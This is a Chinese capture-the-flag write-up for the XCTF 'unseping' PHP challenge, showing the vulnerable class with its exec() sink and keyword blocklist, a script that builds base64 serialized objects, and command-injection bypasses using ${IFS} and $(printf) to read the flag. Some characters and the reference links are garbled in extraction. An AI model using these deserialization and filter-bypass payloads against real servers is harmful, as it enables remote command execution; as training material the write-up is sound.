攻防世界 - Web - Level 1 unseping

发布于:2025-02-11 ⋅ 阅读:(55) ⋅ 点赞:(0)

关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客

0x01:Write UP

本关是一个 PHP 代码审计关卡,考察的是 PHP 反序列化漏洞以及命令执行的一些绕过手段,下面笔者将带你一步步过关。

代码审计,首先定位题目中的敏感函数,笔者这里定位到了如下函数:

?function ping($ip){
? ? ?exec($ip, $result); // exec 执行 $ip 传递来的命令,并将结果写入到 $result 中
? ? ?var_dump($result); ?// 展示 $result 的内容
?}

看到 exec() 可以很容易想到本关的考察点就是命令执行漏洞。继续逆向审计,看看哪里有机会调用 ping() 函数,笔者将目光放到了这里:

?// __destruct() 当对象销毁时触发
?function __destruct(){
? ? ?// 如果 $this->method 为 ping 则会进入函数调用
? ? ?if (in_array($this->method, array("ping"))) {
? ? ? ? ?// call_user_func_array => 调用回调函数,并把 $this->args 数组传递过去作为参数
? ? ? ? ?call_user_func_array(array($this, $this->method), $this->args);
? ?  }
?}

结合上面两个函数,很明显,我们要生成一个对象,并给这个对象的 $this->method 赋值为 ping,让其调用 function ping($ip) 函数,如果成功那么 $this->args 里就可以是我们赋值给它的任意的命令。

下面我们来看看题目类的构造方法(初始化方法):

?function __construct($method, $args) { // 构造方法,接收两个传参
? ? ?$this->method = $method; // 将 $method 传递到 $this->method 中
? ? ?$this->args = $args; // 将 $args 传递到 $this->args
?}

通过之前的分析,我们知道了,$method 我们要赋值为 ping$this->args 中就是我们进行命令执行的参数,我们的目标是获取 Flag,但是目前我们连 Flag 的位置都不知道,所以首先我们肯定是要先检查目标当前文件夹下的文件有啥的,所以我们想要执行的命令为 ls,即列出目标当前目录下的内容。这里还有一个注意点,$this->args 传递的是一个数组类型的数据,为啥?我们先来看一下 call_user_func_array() 函数的定义:

PHP 官方文档中写名的,该函数第一个接收的是回调函数,第二个接收的是参数数组。

所以,基于前面的一套分析,我们可以得出,我们需要实例化一个这样的对象:

?$ctf = new ease('ping', array('ls'));

所以,我们最终的题解模板程序如下所示:

?<?php
?class ease{
? ? ?
? ? ?private $method;
? ? ?private $args;
? ? ?function __construct($method, $args) {
? ? ? ? ?$this->method = $method;
? ? ? ? ?$this->args = $args;
? ?  }
? 
? ? ?function __destruct(){
? ? ? ? ?if (in_array($this->method, array("ping"))) { // 如果 $this->method 为 ping 则进行调用
? ? ? ? ? ? ?call_user_func_array(array($this, $this->method), $this->args); // 调用回调函数 $this->args 是传参
? ? ? ? ? ? ?// $this 即 ease 这个对象, $this->method 你想要调用的 ease 类中的函数名 => ping
? ? ? ?  }
? ?  } 
? 
? ? ?function ping($ip){
? ? ? ? ?exec($ip, $result); // 让 exec 执行我们传入的命令,并将结果传入 $result 中
? ? ? ? ?var_dump($result); ?// 展示结果 => 考点,命令执行
? ?  }
??
? ? ?function waf($str){
? ? ? ? ?if (!preg_match_all("/(||&|;| |/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
? ? ? ? ? ? ?return $str;
? ? ? ?  } else {
? ? ? ? ? ? ?echo "don't hack";
? ? ? ?  }
? ?  }
? 
? ? ?function __wakeup(){ // 执行 unserialize 调用此方法
? ? ? ? ?foreach($this->args as $k => $v) {
? ? ? ? ? ? ?$this->args[$k] = $this->waf($v);
? ? ? ?  }
? ?  } ? 
?}
??
?$ctf = new ease('ping', array('ls'));
?echo base64_encode(serialize($ctf)); // 运行代码,这里会显示序列化解
?echo "
";
?// $ctf=@$_POST['ctf'];
?// @unserialize(base64_decode($ctf));
??>

下面我们一步一步为我们的命令执行扫清障碍。通过上面的题解代码,运行后我们会得到一个进行 Base64 编码后的 ease 对象的序列化内容,当目标服务端接收后,会执行反序列化操作。

首先进入 __wakeup() 函数,该函数会调用 waf() 方法,将我们传递的 array() 数组中的每一个元素都过一遍 WAF,如果出现黑名单字符,就会输出 don't hack,反之则会返回。

我们将要执行的 ls 很明显在黑名单中,绕过很简单,使用 即可,在 Linux 操作系统中 lsls 是等价的:

所以,我们可以使用如下对象构建序列化内容执行 ls 命令:

?$ctf = new ease('ping', array('ls'));
?echo base64_encode(serialize($ctf));
?// 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319

如上,我们成功得到了 Flag 的存放地址,此时注意了页面显示的 flag_1s_here 是个文件夹不是文件哦(笔者偷懒少测一步,不信你 cat 一下这个文件,你啥也读不到,还会怀疑自己)。

知道了 Flag 存放的文件夹,下面我们要去读取这个文件夹下面的内容,使用 ls flag_1s_here 构建序列化内容读取?你会发现,上面那个命令中空格与 flag 都是黑名单内容,这里又考察了命令执行的空格绕过。在 Linux 系统中,我们可以使用 ${IFS}进行空格的绕过。所以修改后的 Payload 如下:

?$ctf = new ease('ping', array('ls${IFS}flag_1s_here'));
?echo base64_encode(serialize($ctf));
?// 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMjoibFxzJHtJRlN9ZlxsYWdfMXNfaGVyZSI7fX0=

至此,我们已经成功获得 Flag 的文件地址:

?flag_1s_here/flag_831b69012c67b35f.php

然后问题又来了,/ 也被过滤了。咋搞,这里我们需要使用 Linux 内联代码进行绕过,先来看个 / 的等价写法:

所以我们最终的题解 Payload 如下:

?$ctf = new ease('ping', array('cat${IFS}flag_1s_here$(printf${IFS}"/")flag_831b69012c67b35f.php'));
?echo base64_encode(serialize($ctf));
?// 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MDoiY1xhdCR7SUZTfWZcbGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWZcbGFnXzgzMWI2OTAxMmM2N2IzNWYucFxocCI7fX0=

0x02:参考链接

[ I F S − A 思 − 博客园 IFS - A思 - 博客园 IFSA博客园IFS 是linux中的命令 I F S 默认指定 s p a c e , t a b , 换行也可以自己指定 IFS默认指定space,tab,换行 也可以自己指定 IFS默认指定space,tab,换行也可以自己指定IFS,例:IFS=‘&’ $IFS可以把多个符号和并,如下: mm=11&&22&&33, echo KaTeX parse error: Expected 'EOF', got '&' at position 21: …/11 22 33,实际是11&̲https://www.cnb…IFS - A思 - 博客园")

[shell中的 I F S 变量和 IFS变量和 IFS变量和*-CSDN博客文章浏览阅读5.4k次,点赞7次,收藏21次。IFS表示 Internal Field Separator(内部字段分隔符)_ i f s h t t p s : / / b l o g . c s d n . n e t / l i l o n g s y / a r t i c l e / d e t a i l s / 108239183 ] ( h t t p s : / / b l o g . c s d n . n e t / l i l o n g s y / a r t i c l e / d e t a i l s / 108239183 " s h e l l 中的 ifshttps://blog.csdn.net/lilongsy/article/details/108239183](https://blog.csdn.net/lilongsy/article/details/108239183 "shell中的 ifshttps://blog.csdn.net/lilongsy/article/details/108239183](https://blog.csdn.net/lilongsy/article/details/108239183"shell中的IFS变量和$*-CSDN博客")


网站公告

今日签到

点亮在社区的每一天
去签到